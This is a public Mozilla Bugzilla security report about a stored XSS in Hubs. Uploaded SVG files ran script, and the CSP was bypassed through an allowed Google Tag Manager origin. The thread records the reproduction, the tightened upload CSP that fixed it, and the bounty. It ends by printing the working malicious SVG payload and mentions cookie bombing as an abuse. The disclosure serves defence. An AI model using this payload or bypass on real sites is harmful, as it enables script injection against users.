Closed Bug 1732858 Opened 5 years ago Closed 4 years ago

Categories

(Websites :: Hubs, defect)

defect

Tracking

(Not tracked)

RESOLVED FIXED

People

(Reporter: s.h.h.n.j.k, Unassigned)

References

()

Details

(Keywords: reporter-external, sec-high, wsec-xss, Whiteboard: [reporter-external] [web-bounty-form] )

Attachments

(4 files)

Steps:

  1. Go to https://hubs.mozilla.com/ and join any room
  2. Go to chat and upload attached SVG file
  3. Open uploaded SVG file and observe an XSS

Uploading SVG is allowed, and therefore execute script on the page.

https://uploads-prod.reticulum.io/files/1fdf9306-eade-4079-b162-a28a619692b3.svg?token=cc7f494ccddd037838a843ef6cd273bd

This can be used to make victim inaccessible to https://uploads-prod.reticulum.io/ via cookie bombing.

We could have used AppCache to steal victim's uploaded files, but sadly, AppCache just got deprecated in Chrome 94 :(

Flags: sec-bounty?

This reproduces for me, but

  • Disable Firefox Tracking protection, to ensure that Google Analytics is not shimmed
  • Disable your Ad Blocker, if present
  • in case this has a weird opener relationship, reload or copy&paste URL.

With all these taken care of, I can see an alert() with the current domain.

We'll need someone from the hubs team. Can you take a look, Dom?

Type: task → defect
Flags: needinfo?(dom)
Keywords: wsec-xss
Whiteboard: [reporter-external] [web-bounty-form] [verif?] → [reporter-external] [web-bounty-form]
Status: UNCONFIRMED → NEW
Ever confirmed: true

Thanks for reporting and repro'ing. I can take a look at this.

Flags: needinfo?(dom)

Brian: did this bug get fixed elsewhere? Both the reporter and Freddy (comment 1) would have been using modern browsers, and now reticulum appears to have a CSP.

The duplicate bug was about XSS from a browser that doesn't support CSP (IE).

(In reply to Jun from comment #0)

Steps:

  1. Go to https://hubs.mozilla.com/ and join any room
  2. Go to chat and upload attached SVG file

Hello Jun,

I couldn't find the SVG file mentioned here, can you please re-attach the image so we can figure out whether this is related to CSP or not?

Thanks,
Frida

If I remember correctly, I was not able to download the SVG mentioned in the original report, when I first looked at it months ago. I did try reproducing it with my own SVG file that contained a script tag, but that did not reproduce the security issue, since our CSP blocked it at the time in Firefox and Chrome. I'm also unable to reproduce the steps mentioned in comment 1, since it seems CSP still takes effect. (I'm unsure how Tracking Protection would affect CSP).

As far as I know, we haven't changed our CSP rules since this bug was reported. So, unless there was something very particular about the SVG that the reporter used, I can't reproduce this issue in modern browsers.

I've attached the test SVG that I created to try to reproduce this.

Jun combined this with a CSP bypass. I'll ping him out-of-band to make sure he recreates the PoC.

Brian, can you retest?

Flags: needinfo?(bpeiris)
Component: Other → Hubs

Thank you both for getting back to us with another PoC, and apologies for the long delay in getting to this.
I'm now able to reproduce this issue. To spell it out for future reference, it looks like this circumvents the CSP by using a Google Analytics script, since that is one of our allowed origins. In particular, Google Analytics apparently allows the inclusion of a custom template macro script, which in this case simply alerts the page origin. Though presumably it can contain arbitrary code. This also explains why you need to turn off tracking protection and your ad blocker, since those functions usually block Google Analytics.
I'll see what we can do to fix this.

Flags: needinfo?(bpeiris)

Hello all,
We've pushed a fix for this that removes google-analytics domains from the CSP that is used when serving uploads. The CSP for uploads is now extremely limited to the bare minimum that we require.

Thanks Brian.

I can confirm the fix using https://uploads-prod.reticulum.io/files/4212ba91-c1be-4506-acdf-e135bd04c7fc.svg?token=99da4029982b8537031a3a5f5b1deb05, the payload is no longer executed.

For reference, the CSP was modified to default-src 'none'; img-src 'self' https://uploads-prod.reticulum.io; style-src 'self' 'unsafe-inline'

Status: NEW → RESOLVED
Closed: 4 years ago
Keywords: sec-high
Resolution: --- → FIXED

The XSS isn't fixed yet though?
You will likely get more report if you don't fix actual XSS.

Hello Jun,

Agreed. The Hubs team allow uploading SVG images as a product feature so they decided to accept this risk as long as the malicious payloads are not executed. I asked the team to reconsider if SVG files become a higher risk.

Thanks,
Frida

malicious SVG for reference:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="200" height="100" style="fill:rgb(0,0,0);" />
   <script type="text/javascript" href="https://www.google-analytics.com/gtm/js?id=GTM-PPQG64D">
   </script>
</svg>
Flags: sec-bounty? → sec-bounty+
Group: websites-security
Restrict Comments: true
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: